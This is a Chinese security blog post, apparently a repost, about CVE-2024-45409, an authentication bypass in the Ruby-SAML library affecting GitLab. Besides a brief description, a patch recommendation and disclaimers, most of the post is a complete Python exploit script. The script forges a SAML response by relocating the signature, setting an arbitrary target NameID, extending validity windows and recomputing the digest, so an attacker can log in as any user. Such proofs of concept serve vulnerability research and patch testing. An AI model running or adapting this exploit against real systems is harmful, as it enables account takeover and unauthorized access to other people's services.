GitLab身份验证绕过

admin 2024年10月19日21:05:01评论36 views字数 8161阅读27分12秒阅读模式
漏洞描述

Ruby SAML库是用于实现SAML授权的客户端。Ruby-SAML在版本<= 12.2和版本范围在1.13.0至1.16.0之间时,无法正确验证SAML响应的签名。因此,拥有访问任何由身份提供商签署的SAML文档的未经验证的攻击者可以伪造包含任意内容的SAML响应/断言。这将允许攻击者在易受攻击的系统内登录为任意用户。此漏洞已在版本1.17.0和版本1.12.3中得到修复。

复现过程以下链接

Ruby-SAML / GitLab身份验证绕过(CVE-2024-45409)

POC
from argparse import ArgumentParserfrom base64 import b64decode, b64encodefrom copy import copyfrom datetime import datetime, timedelta, UTCfrom hashlib import sha1, sha256from urllib.parse import quote, unquotefrom uuid import uuid4from sys import stderrfrom lxml import etreeNAMESPACES = {    "ds": "http://www.w3.org/2000/09/xmldsig#",    "saml": "urn:oasis:names:tc:SAML:2.0:assertion",    "samlp": "urn:oasis:names:tc:SAML:2.0:protocol",}class CVE_2024_45409:    def __init__(        self,        response_file: str,        output_file_path: str,        decode_input: bool,        encode_output: bool,        name_id: str,        id_prefix: str,    ) -> None:        self._name_id = name_id        self._id_prefix = id_prefix        self._encode_output = encode_output        self._output_file_path = output_file_path        self._decode_input = decode_input        self._response_file = response_file        self._raw_response: bytes | None = None        self._response_document: etree.Element | None = None        self._signature: etree.Element | None = None        self._original_assertion: etree.Element | None = None        self.reference_id: str        self._canonicalization_method: str | None = None        self._digest_algorithm: str | None = None    def exploit(self) -> None:        print("[+] Parse response",file=stderr)        self._parse()        self._move_signature_in_assertion()        print("[+] Patch response ID",file=stderr)        self._response_document.attrib["ID"] = self._generate_unique_id()        print("[+] Insert malicious reference",file=stderr)        self._insert_malicious_reference()        print(f"[+] Write patched file in {self._output_file_path}",file=stderr)        self._write_output()    def _write_output(self) -> None:        data = etree.tostring(self._response_document)        if self._output_file_path == "-":            if self._encode_output:                print(self.encode_response(data))            else:                print(data.decode('utf-8'))                        return        with open(self._output_file_path, "w") as outfile:            data = self.encode_response(data) if self._encode_output else data.decode("utf-8")            outfile.write(data)    def _parse(self) -> None:        with open(self._response_file) as infile:            self._raw_response = (                self.decode_response(infile.read()) if self._decode_input else infile.read().encode("utf-8")            )        self._response_document = etree.fromstring(self._raw_response)        self._signature = self._response_document.find(".//ds:Signature", namespaces=NAMESPACES)        self._canonicalization_method = self._signature.xpath(            "//ds:Reference/ds:Transforms/ds:Transform/@Algorithm",            namespaces=NAMESPACES,        )[1]        self._digest_algorithm = self._signature.xpath(            "//ds:Reference/ds:DigestMethod/@Algorithm",            namespaces=NAMESPACES,        )[0]        self._digest_algorithm = self._digest_algorithm[self._digest_algorithm.index("#") + 1 :]        print(f"tDigest algorithm: {self._digest_algorithm}",file=stderr)        print(f"tCanonicalization Method: {self._canonicalization_method}",file=stderr)    def _move_signature_in_assertion(self) -> None:        print("[+] Remove signature from response",file=stderr)        self._signature.getparent().remove(self._signature)        reference = self._signature.find(".//ds:Reference", namespaces=NAMESPACES)        self.reference_id = reference.attrib["URI"].lstrip("#")        print("[+] Patch assertion ID",file=stderr)        assertion_element = self._response_document.find(".//saml:Assertion", namespaces=NAMESPACES)        assertion_element.attrib["ID"] = self.reference_id        print("[+] Patch assertion NameID",file=stderr)        name_id_element = assertion_element.find(".//saml:NameID", namespaces=NAMESPACES)        name_id_element.text = self._name_id        print("[+] Patch assertion conditions",file=stderr)        subject_confirm_data = self._response_document.find(".//saml:SubjectConfirmationData", namespaces=NAMESPACES)        subject_confirm_data.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")        conditions = self._response_document.find(".//saml:Conditions", namespaces=NAMESPACES)        conditions.attrib["NotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")        authn_statement = self._response_document.find(".//saml:AuthnStatement", namespaces=NAMESPACES)        authn_statement.attrib["SessionNotOnOrAfter"] = (datetime.now(tz=UTC) + timedelta(1)).strftime("%Y-%m-%dT%H:%M:%SZ")        self._original_assertion = copy(assertion_element)        print("[+] Move signature in assertion",file=stderr)        assertion_issuer = assertion_element.find(".//saml:Issuer", namespaces=NAMESPACES)        assertion_element.insert(assertion_element.index(assertion_issuer) + 1, self._signature)    def _insert_malicious_reference(self) -> None:        status = self._response_document.find(".//samlp:Status", namespaces=NAMESPACES)        status_code = status.find(".//samlp:StatusCode", namespaces=NAMESPACES)        print("[+] Clone signature reference",file=stderr)        reference = copy(self._response_document.find(".//ds:Reference", namespaces=NAMESPACES))        reference.attrib["URI"] = "#" + self.reference_id        nsmap = {"samlp": "urn:oasis:names:tc:SAML:2.0:protocol", "dsig": "http://www.w3.org/2000/09/xmldsig#"}        print("[+] Create status detail element",file=stderr)        status_detail_element = etree.Element("{urn:oasis:names:tc:SAML:2.0:protocol}StatusDetail", nsmap=nsmap)        status_detail_element.insert(0, reference)        status.insert(status.index(status_code) + 1, status_detail_element)        new_element = etree.Element(            self._original_assertion.tag,            nsmap={                "saml": "urn:oasis:names:tc:SAML:2.0:assertion",            },        )        for attrib, value in self._original_assertion.attrib.items():            new_element.set(attrib, value)        for child in self._original_assertion:            new_element.append(child)        new_element.text = self._original_assertion.text        if self._canonicalization_method == "http://www.w3.org/2001/10/xml-exc-c14n#":            method = "c14n"        else:            raise ValueError("Canonicalization method unknown")        new_element_canonical = etree.tostring(new_element, method=method, exclusive=True, with_comments=False)        if self._digest_algorithm == "sha256":            digest = sha256(new_element_canonical).digest()        elif self._digest_algorithm == "sha1":            digest = sha1(new_element_canonical).digest()        else:            raise ValueError("Digest algorithm unknown")        print("[+] Patch digest value",file=stderr)        digest_value = reference.find(".//ds:DigestValue", namespaces=NAMESPACES)        digest_value.text = b64encode(digest).decode("utf-8")    def _generate_unique_id(self) -> str:        return f"{self._id_prefix}{uuid4()}"    @staticmethod    def decode_response(data: str) -> bytes:        return b64decode(unquote(data))    @staticmethod    def encode_response(data: bytes) -> str:        return quote(b64encode(data))    def __str__(self) -> str:        return etree.tostring(self._response_document, pretty_print=True).decode("utf-8")if __name__ == "__main__":    parser = ArgumentParser(        description="CVE-2024-45409 exploit",    )    parser.add_argument(        "-r",        "--response-file",        type=str,        required=True,        help="Raw or URL + Base64 encoded XML SAMLResponse content file path",        default="response.xml",    )    parser.add_argument(        "-o",        "--output-file",        type=str,        help="Patched SAMLResponse output file path, use - for stdout",        default="response_patched.xml",    )    parser.add_argument("-n", "--nameid", type=str, required=True, help="Target NameID")    parser.add_argument("-d", "--decode", action="store_true", help="Decode URL + Base64 encoded response file")    parser.add_argument("-e", "--encode", action="store_true", help="Encode Base64 + URL output")    parser.add_argument("-p", "--prefix", type=str, help="ID prefix", default="ID-")    args = parser.parse_args()    CVE_2024_45409(        response_file=args.response_file,        output_file_path=args.output_file,        decode_input=args.decode,        encode_output=args.encode,        name_id=args.nameid,        id_prefix=args.prefix,    ).exploit()
解决建议

建议您更新当前系统或软件至最新版,完成漏洞的修复。

参考链接

 https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq   https://github.com/SAML-Toolkits/ruby-saml/commit/1ec5392bc506fe43a02dbb66b68...   https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c...   https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2 https://github.com/synacktiv/CVE-2024-45409

真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):GitLab身份验证绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日21:05:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab身份验证绕过https://cn-sec.com/archives/3290673.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息